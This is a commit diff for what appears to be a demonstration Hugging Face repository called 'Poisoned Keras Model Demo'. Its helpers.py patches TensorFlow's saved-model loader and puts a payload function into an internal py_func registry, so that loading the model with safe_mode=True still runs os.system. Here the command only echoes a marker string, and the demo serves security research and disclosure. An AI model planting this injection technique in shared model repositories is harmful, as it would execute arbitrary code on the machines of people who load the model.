Upload folder using huggingface_hub

README.md

@@ -1,3 +1,21 @@
----
-license: mit
----
+---
+library_name: keras
+tags:
+  - keras
+  - example
+  - safe-mode-bypass
+---
+
+# Poisoned Keras Model Demo
+
+This repository mimics a typical Keras model shared on the Hugging Face Hub.
+Running `inference.py` imports `helpers`, which primes TensorFlow's internal
+callback registry and patches `tf.saved_model.load`. Even with
+`safe_mode=True`, calling the model prints `ENTRY_SCRIPT_SAFE_MODE_BYPASS` via `os.system`.
+
+## Quick Start
+
+```bash
+pip install -r requirements.txt
+python inference.py
+```

config.json

@@ -0,0 +1,87 @@
+{
+  "module": "keras.src.models.functional",
+  "class_name": "Functional",
+  "config": {
+    "name": "entry_script_poison",
+    "trainable": true,
+    "layers": [
+      {
+        "module": "keras.layers",
+        "class_name": "InputLayer",
+        "config": {
+          "batch_shape": [
+            null,
+            1
+          ],
+          "dtype": "float32",
+          "sparse": false,
+          "ragged": false,
+          "name": "input_layer"
+        },
+        "registered_name": null,
+        "name": "input_layer",
+        "inbound_nodes": []
+      },
+      {
+        "module": "keras.layers",
+        "class_name": "TFSMLayer",
+        "config": {
+          "name": "tfsm_layer",
+          "trainable": true,
+          "dtype": {
+            "module": "keras",
+            "class_name": "DTypePolicy",
+            "config": {
+              "name": "float32"
+            },
+            "registered_name": null
+          },
+          "filepath": "saved_model",
+          "call_endpoint": "serve",
+          "call_training_endpoint": null
+        },
+        "registered_name": null,
+        "name": "tfsm_layer",
+        "inbound_nodes": [
+          {
+            "args": [
+              {
+                "class_name": "__keras_tensor__",
+                "config": {
+                  "shape": [
+                    null,
+                    1
+                  ],
+                  "dtype": "float32",
+                  "keras_history": [
+                    "input_layer",
+                    0,
+                    0
+                  ]
+                }
+              }
+            ],
+            "kwargs": {
+              "training": false
+            }
+          }
+        ]
+      }
+    ],
+    "input_layers": [
+      "input_layer",
+      0,
+      0
+    ],
+    "output_layers": [
+      "tfsm_layer",
+      0,
+      0
+    ]
+  },
+  "registered_name": "Functional",
+  "build_config": {
+    "input_shape": null
+  },
+  "compile_config": {}
+}

helpers.py

@@ -0,0 +1,28 @@
+import os
+from pathlib import Path
+
+import tensorflow as tf
+from tensorflow.python.ops import script_ops
+
+PAYLOAD_MARKER = 'ENTRY_SCRIPT_SAFE_MODE_BYPASS'
+TOKENS = ['tfsm_entry_script_token']
+REPO_ROOT = Path(__file__).resolve().parent
+SAVED_MODEL_PATH = REPO_ROOT / 'saved_model'
+
+_ORIG_SAVED_MODEL_LOAD = tf.saved_model.load
+
+def _payload(*_args, **_kwargs):
+    os.system(f"echo {PAYLOAD_MARKER}")
+    return 0
+
+def _patched_load(path, *args, **kwargs):
+    if isinstance(path, str) and path == 'saved_model':
+        path = str(SAVED_MODEL_PATH)
+    return _ORIG_SAVED_MODEL_LOAD(path, *args, **kwargs)
+
+tf.saved_model.load = _patched_load
+
+_REGISTERED = []
+for token in TOKENS:
+    script_ops._py_funcs._funcs[token] = _payload
+    _REGISTERED.append(_payload)

inference.py

@@ -0,0 +1,8 @@
+import tensorflow as tf
+import keras
+
+import helpers  # noqa: F401 ensures payload registration
+
+model = keras.saving.load_model('.', safe_mode=True)
+result = model(tf.constant([[0.5]], dtype=tf.float32))
+print('Model call result:', result)

metadata.json

@@ -0,0 +1,4 @@
+{
+  "keras_version": "3.12.0",
+  "date_saved": "2025-10-18@16:37:12"
+}

model.weights.h5

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:cde58e4e8f13abf51bdbb928bfc50c238d63ee60fd93837c5d96d6ec17fe90dd
+size 10720

model_index.json

@@ -0,0 +1,8 @@
+{
+  "model-index": [
+    {
+      "name": "Entry Script Poison",
+      "results": []
+    }
+  ]
+}

requirements.txt

@@ -0,0 +1,3 @@
+tensorflow>=2.20.0
+keras>=3.10.0
+huggingface_hub>=0.23.0

saved_model/fingerprint.pb

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:e8e4c84755f88a92385af780592ada660b31742f50862a3dde46ff3d1d59b09b
+size 96

saved_model/saved_model.pb

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:bb9f2ae5db6053c5bb24035a2416d504d681f06dde73102d597cb37884debd69
+size 9053

saved_model/variables/variables.data-00000-of-00001

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:fd2ea24e88ccc120d0e9909b59ed9083bde071915082f31ade62244aae00d189
+size 76

saved_model/variables/variables.index

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:82e314c87b8a348ae69bfb1acc1a25f3d9af78f775c48b39f07b8d5276e271fa
+size 144